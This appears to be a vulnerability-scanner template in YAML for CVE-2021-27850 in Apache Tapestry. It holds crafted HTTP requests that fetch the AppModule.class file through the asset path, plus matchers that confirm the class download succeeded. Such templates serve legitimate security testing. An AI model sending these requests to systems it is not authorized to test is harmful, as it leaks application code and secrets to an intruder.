58 lines
1.9 KiB
YAML
58 lines
1.9 KiB
YAML
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id: CVE-2021-27850
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info:
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name: Apache Tapestry - Arbitrary class download
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description: |
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A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
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author: pdteam
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severity: critical
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reference: |
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27850
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tags: cve,cve2021,apache,tapestry
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requests:
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- raw:
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- |
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GET /assets/app/something/services/AppModule.class/ HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Connection: close
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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Accept-Language: en-US,en;q=0.9
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- |
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GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Connection: close
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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Accept-Language: en-US,en;q=0.9
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extractors:
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- type: regex
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regex:
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- '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
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internal: true
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name: id
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part: header
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group: 1
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- 'application/java'
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part: header
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- type: word
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words:
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- 'configuration'
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- 'webtools'
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part: body
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condition: and
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